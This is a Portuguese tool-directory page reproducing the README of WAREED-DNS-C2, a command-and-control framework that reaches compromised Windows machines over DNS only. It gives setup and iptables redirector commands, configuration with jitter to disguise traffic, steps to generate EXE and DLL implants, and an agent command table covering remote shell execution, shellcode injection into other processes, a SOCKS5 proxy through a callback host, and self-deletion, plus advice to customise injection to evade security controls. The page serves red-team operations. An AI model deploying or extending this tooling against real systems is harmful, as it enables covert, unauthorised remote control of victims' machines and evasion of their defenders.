Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
WAREED-DNS-C2 — Framework de comando e controle somente via DNS com agente Windows, geração de payloads, execução remota de shell, injeção de shellcode e suporte a proxy SOCKS5 para operações encobertas. | Kitploit
Ferramentas/GitHubGitHub/faisal-p27/wareed-dns-c2
Geração de PayloadsEvasão de IDS/IPSPós-ExploraçãoComando e ControleFerramenta de Acesso RemotoDesenvolvimento de Payloads
GitHubfaisal-p27/wareed-dns-c2

WAREED-DNS-C2

Framework de comando e controle somente via DNS com agente Windows, geração de payloads, execução remota de shell, injeção de shellcode e suporte a proxy SOCKS5 para operações encobertas.

Ver Repositório
12634há 1 anoRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Wareed DNS C2

enter image description here

WAREED é um Command and Control (C2) que utiliza o protocolo DNS para comunicações seguras entre o servidor e o alvo. Projetado para minimizar a comunicação e limitar a troca de dados, destina-se a ser um C2 de primeiro estágio para persistir em máquinas que não têm acesso à internet via HTTP/HTTPS, mas onde o DNS é permitido.

desenvolvido por : @Fsalabduljabbar

Como funciona

enter image description here

Por que Wareed

Embora muitos frameworks Command and Control (C2) suportem DNS como protocolo de transporte, eles são predominantemente projetados para HTTP/HTTPS. A transição desses frameworks para DNS muitas vezes resulta em operações mais lentas e menos estáveis. Enfrentando inúmeros desafios com a instabilidade desses frameworks para transações DNS, fui compelido a criar uma solução adaptada especificamente para DNS. O resultado é Wareed — um framework C2 exclusivo para DNS. Esse foco especializado resulta em uma operação mais estável e eficiente, tornando Wareed mais rápido e confiável em comparação com frameworks C2 tradicionais que não são primariamente projetados para DNS. Isso torna Wareed uma escolha ideal para ambientes onde o tráfego DNS é permitido, mas HTTP/HTTPS é restrito.

Sobre

Foi desenvolvido usando três linguagens de programação:

  1. Hams Agent em C
  2. Wareed Team server em Golang
  3. Ather Client GUI em C++

Explicação dos nomes:

Hams (همس) significa "sussurro" em árabe

Wareed (وريد) significa "veia" em árabe

Ather (أثر) significa "vestígio" em árabe

Demo

IMAGE ALT TEXT HERE

Pré-requisitos

  1. Nome de domínio válido e controlado
  2. Kali Linux 2023+ ou Ubuntu 23+
  3. Um redirecionador (Ubuntu) para lidar com conexões DNS (opcional)

Instalação

Passo 1: Clone o repositório Wareed:

root@kitploit:~
git clone https://github.com/Faisal-P27/WAREED-DNS-C2.git

Passo 2: Execute o script de configuração:

root@kitploit:~
cd WAREED-DNS-C2
chmod +x Run.sh
sudo ./Run.sh setup

Se o processo de compilação for concluído com sucesso, dois arquivos executáveis serão gerados no mesmo diretório:

  • WareedServer: Este arquivo serve como executável para o servidor da equipe
  • Ather: Este arquivo é o executável para o cliente GUI.

Também verificará o estado de compilação do Agent. Se for bem-sucedido, confirma que o Agent está pronto para ser implantado e operacional, o que é crítico para o funcionamento do Wareed C2.

Configuração

root@kitploit:~
{
    "magic_value": "cdn",
    "domains": ["2.example.net"],
    "listener_port": "111",
    "sleep": 5,
    "jitter": 50,
    "lookup_delay": 5,
    "default_dns_server": "1.1.1.1"
}
  • magic_value: Um identificador único usado pelo C2.
  • domains: Uma matriz de nomes de domínio usados ​​pelo C2 para comunicações DNS.
  • listener_port: O número da porta na qual o servidor DNS Team aguarda conexões recebidas.
  • sleep: O atraso base entre solicitações de tarefas.
  • jitter: Uma porcentagem que adiciona aleatoriedade aos intervalos de sleep para disfarçar padrões de tráfego.
  • lookup_delay (desativado): O atraso antes de realizar uma pesquisa DNS para espaçar as consultas DNS e evitar detecção.
  • **default_dns_server **: O servidor DNS especificado para uso pelo Agent se o DNS local não responder.

magic_value: o comprimento deve ser igual a 3.

Infraestrutura DNS

Configuração DNS: Para operar o Wareed, é essencial possuir um nome de domínio válido. Após adquirir um domínio, dois registros DNS precisam ser configurados para apontar para o Redirecionador:

  1. Registro A: Deve ser configurado para apontar para o endereço IP do Redirecionador.
  2. Registro NS: Ele precisa apontar para o registro A que você estabeleceu anteriormente.

example

infraestrutura

Configuração do Redirecionador: O redirecionador lidará com o tráfego DNS recebido na porta 53 e o redirecionará para o servidor da equipe. Para isso, execute os seguintes comandos iptables na máquina redirecionadora (R1):

Aceitar Pedidos DNS:
root@kitploit:~
iptables -I INPUT -p udp -m udp --dport 53 -j ACCEPT

Este comando configura o firewall para aceitar pacotes UDP recebidos na porta 53, que é a porta padrão para pedidos DNS.

Redirecionar Tráfego DNS:
root@kitploit:~
iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to-destination [TeamServer IP]:[teamserver listener port]

Substitua [TeamServer IP] pelo endereço IP real do seu servidor de equipe e [teamserver listener port] pelo número da porta na qual o seu servidor de equipe está escutando. Este comando direciona todo o tráfego que chega na porta 53 para o endereço IP e porta especificados do servidor de equipe.

enter image description here

Executar Wareed

Servidor da Equipe Wareed

Para iniciar o servidor de equipe Wareed pela primeira vez, você precisa especificar o arquivo de configuração juntamente com a senha do cliente e a porta na qual o cliente irá escutar. Use o seguinte comando para executar o servidor de equipe Wareed:

root@kitploit:~
sudo ./WareedServer [Client Password] [Client Port Listener] [Path to configuration file]
  • [Client Password]: Substitua este espaço reservado pela senha que os clientes usarão para autenticar no servidor.
  • [Client Port Listener]: Substitua isto pelo número da porta onde o servidor de equipe escutará as conexões recebidas do cliente.
  • [Path to configuration file]: Forneça o caminho completo para o arquivo de configuração inicial. Nas execuções subsequentes, esta configuração será carregada do banco de dados, não sendo necessário especificá-la novamente.

Cliente GUI Ather

Para iniciar o cliente GUI Ather, basta

root@kitploit:~
./Ather

Ao executar o comando, uma nova janela com uma página de login aparecerá.

enter image description here

Detalhes de Login: Na página de login que aparece:

  • Username: Insira o nome de usuário .
  • Password: Insira a senha correspondente conforme configurado na linha de comando do servidor de equipe.
  • Port: Insira o número da porta na qual o servidor de equipe está escutando conexões, conforme configurado na linha de comando do servidor de equipe.
  • IPAddress: Insira o endereço do servidor de equipe.

Janela principal do Wareed: enter image description here

Gerar Novo payload

Para gerar um novo payload com o Cliente GUI Ather, siga estes passos:

  1. Navegue até a Geração de Payload:

    • Abra o cliente GUI.
    • Na barra de menu, navegue até Payload > Generate > Windows. Selecionar esta opção abrirá uma nova janela adaptada para a geração de payloads.

enter image description here

  1. Selecionar o Tipo de Payload: O Wareed permite a geração de dois tipos de payloads: - EXE: Um formato de arquivo executável, simples para implantação. - DLL: Uma biblioteca de vínculo dinâmico que pode ser usada de várias maneiras. -

Opções de Payload DLL:

  1. Export Function: Cria uma DLL com funções específicas que acionam a funcionalidade do agente após a execução.
  2. Process Attachment: Produz uma DLL que, quando anexada a um processo, ativa imediatamente o payload.

Sessão

Após gerar um novo payload, uma nova sessão convidada é automaticamente registrada no servidor de equipe. Esse processo de registro garante que apenas esta sessão específica possa se conectar ao servidor de equipe. Utiliza um identificador único e um 'magic value' para autenticar e autorizar a sessão. Esse mecanismo garante uma comunicação segura e controlada entre o payload recém-gerado e o servidor de equipe. enter image description here

Executar payload

Após executar o payload em uma máquina Windows, ele começará a gerar consultas DNS para se registrar no servidor de equipe. Esse processo de registro ocorre em segundos e normalmente envolve a geração de entre 3 a 5 consultas DNS. enter image description here

Interagir

Para interagir com uma sessão, basta clicar com o botão direito na sessão desejada e selecionar "Interact" no menu de contexto. Essa ação abrirá uma nova aba com uma interface de terminal. Neste terminal, você pode executar comandos enter image description here

Comandos

Nota: O comando inject é direto, mas muitas vezes é detectado por controles de segurança. Para melhorar a furtividade, você deve implementar sua própria técnica de injeção. Modifique o código de injeção em Agent/Source/Core/Tasks/Modules/Injection.c. Aqui está um modelo básico para personalizar a função de injeção:

root@kitploit:~
int Inject(unsigned char *ShellCode, int size, int ProcessID) {
	// Adicione sua técnica de injeção aqui.
	// Você receberá o shellcode em [unsigned char *ShellCode] e o tamanho do shellcode em [nt size]
	// e o ID do processo em [int ProcessID].
 }

Limpar Banco de Dados

Para limpar o banco de dados, basta executar o seguinte comando no seu terminal:

root@kitploit:~
./Run clean

Próximas Ações

Embora eu não tenha planos imediatos de continuar investindo tempo no projeto Wareed, tem sido uma jornada de aprendizado incrível, e eu aproveitei muito. Estou animado em anunciar que estou planejando lançar um novo grande projeto, THAWD BAS. Para mais informações, visite Thawd.io.

Se você tem habilidades de desenvolvimento e está interessado em contribuir com o Wareed, aqui estão algumas oportunidades:

  1. Desenvolver um Payload Stager Usando DNS: Existe um projeto incrível de @C5pider que fornece um modelo de shellcode, ótimo como ponto de partida. Confira Stardust no GitHub.
  2. Adicionar um Loader COFF e Integração: Integrar um loader COFF (Common Object File Format) na estrutura do Wareed pode aumentar significativamente suas capacidades, permitindo o carregamento dinâmico e a execução de módulos binários, aumentando assim a flexibilidade operacional. Para desenvolvedores que desejam implementar esse recurso, recursos como o Sector7 oferecem insights valiosos sobre a funcionalidade do loader COFF, e o projeto de código aberto CoffeeLdr de @C5pider fornece um exemplo prático de implementação.

Agradecimentos Especiais

Este trabalho não poderia ter sido realizado sem a contribuição de vários projetos de código aberto notáveis:

Havoc por - @C5pider

DNSStager por - @mohammadaskar2

Boomerang por - @NinjaParanoid

Socks5Server por earthquake

delete-self-poc por - @LloydLabs

Baixar ferramenta
CommandDescriptionUsageExample
helpMostra a mensagem de ajuda do comando especificado[command]help shell
sleepdefine o atraso de sleep com jitter[delay] [jitter]sleep 10 50
shellexecuta comandos do cmd.exe e obtém a saída[commands]shell dir c:\windows\system32 (por favor, não faça isso)
injectinjeta shellcode em um processo remoto[pid] [shellcode_path]inject 1234 /path/to/shellcode.bin
proxystartinicia um proxy SOCKS5[callback_host] [agent_connect_port] [proxy_listener_port]proxystart example.com 443 1080
proxystoppara um proxy SOCKS5[callback_host] [agent_connect_port] [proxy_listener_port]proxystop example.com 443 1080
adddomainadiciona um novo domínio de callback[domain_name]adddomain example.com
deldomainexclui um domínio de callback[domain_name]deldomain example.com
listdomainlista todos os domínios de callback ativoslistdomain
killTermina o processo atual.[yes]kill yes
wipeTermina e exclui o processo atual.[yes]wipe yes
selfdelExclui o processo atual do disco.[yes]selfdel yes
tasklistLista todas as tarefas enfileiradastasklist
taskdelExclui uma tarefa específica pelo ID[task id]taskdel 123
taskscleanExclui todas as tarefas na fila[yes]tasksclean yes
clearlimpa a tela do terminalclear